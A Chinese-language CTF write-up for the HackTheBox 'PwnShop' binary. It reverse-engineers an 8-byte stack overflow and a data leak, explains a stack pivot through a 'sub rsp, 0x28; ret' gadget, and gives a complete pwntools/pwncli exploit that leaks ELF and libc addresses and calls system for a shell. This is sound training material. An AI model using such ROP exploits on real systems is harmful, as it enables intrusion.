前言
该题目的主题是8字节栈溢出打栈迁移
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第5天,今天很头疼,刷了一些easy,这是中间比较有收获的一篇
题目情况
We just opened a Pwn Shop, time to pwn all the things!
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
逆向分析
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v3; // bl
sub_121E(a1, a2, a3);
puts("========= HTB PwnShop ===========");
while ( 1 )
{
while ( 1 )
{
puts("What do you wanna do?");
printf("1> Buy\n2> Sell\n3> Exit\n> ");
v3 = getchar();
getchar();
if ( v3 != '2' )
break;
sub_126A(); // 2
}
if ( v3 == '3' ) // 3
break;
if ( v3 == '1' ) // 1
sub_132A(); // 栈溢出
else
puts("Please try again.");
}
return 0LL;
}
菜单题,2个选项
选项1:
ssize_t sub_132A()
{
char v1[72]; // [rsp+0h] [rbp-48h] BYREF
puts("Sorry, we aren't selling right now.");
printf("But you can place a request. \nEnter details: ");
return read(0, v1, 0x50uLL); // 栈溢出,刚好覆盖到返回地址
}
这里是8字节的栈溢出
选项2:
int sub_126A()
{
__int64 v0; // rcx
_DWORD *v1; // rdi
_DWORD *v2; // rdi
__int64 i; // rcx
_BYTE v5[32]; // [rsp+0h] [rbp-48h] BYREF
char buf[8]; // [rsp+20h] [rbp-28h] BYREF
void *v7; // [rsp+28h] [rbp-20h]
v7 = &byte_40C0;
printf("What do you wish to sell? ");
v0 = 8LL;
v1 = v5;
*(_QWORD *)buf = 0LL;
while ( v0 ) // memset(v5,0,32)
{
*v1++ = 0;
--v0;
}
read(0, v5, 0x1FuLL);
printf("How much do you want for it? ");
read(0, buf, 8uLL);
if ( strcmp(buf, "13.37\n") )
return printf("What? %s? The best I can do is 13.37$\n", buf);// 泄露数据?
puts("Sounds good. Leave details here so I can ask my guy to take a look.");
v2 = v7;
for ( i = 16LL; i; --i ) // 清空v7,0x40
*v2++ = 0;
return read(0, v7, 0x40uLL);
}
提供了一个打印功能,多半是用来泄露数据的,没有溢出
其中提供了个空函数作为gadgets,显然是用于栈迁移的
.text:0000000000001219 ; void sub_1219()
.text:0000000000001219 sub_1219 proc near
.text:0000000000001219 ; __unwind {
.text:0000000000001219 sub rsp, 28h
.text:000000000000121D retn
.text:000000000000121D ; } // starts at 1219
利用分析
栈溢出大小太小,需要迁移,刚好用到sub rsp,0x28的gadgets
第一次触发溢出泄露libc地址
第二次触发溢出执行system函数
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b"t\n> "):
sla(prompt, i)
def buy(payload):
cmd('1')
sa(b"Enter details: ",payload)
#......
def sell():
cmd('2')
sla(b"What do you wish to sell? ",b"aa")
sa(b"How much do you want for it? ",b"11111111")
#......
sell()
ru(b"11111111")
leak = r(6)
leak = unpack(leak,"all")
success(hex(leak))
elf.address = leak -0x40c0
success(f"elf.address: {hex(elf.address)}")
sub_rsp_ret = elf.address + 0x000000000001219
main = elf.address + 0x00000000000132a
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.raw(main)
payload = cyclic(0x28)+rop.chain() + pack(sub_rsp_ret)
buy(payload)
leak = ru(b"\x0aSorry")[:6]
leak = unpack(leak,"all")
success(hex(leak))
libc.address = leak - 0x6f6a0
success(f"libc.address: {hex(libc.address)}")
rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.rdi = libc.address + 0x18ce17
rop.call(libc.address + 0x453a0)
payload = cyclic(0x28)+rop.chain() + pack(sub_rsp_ret)
s(payload)
#buy(payload)
ia()
总结
栈溢出,栈迁移,8字节,sub rsp迁移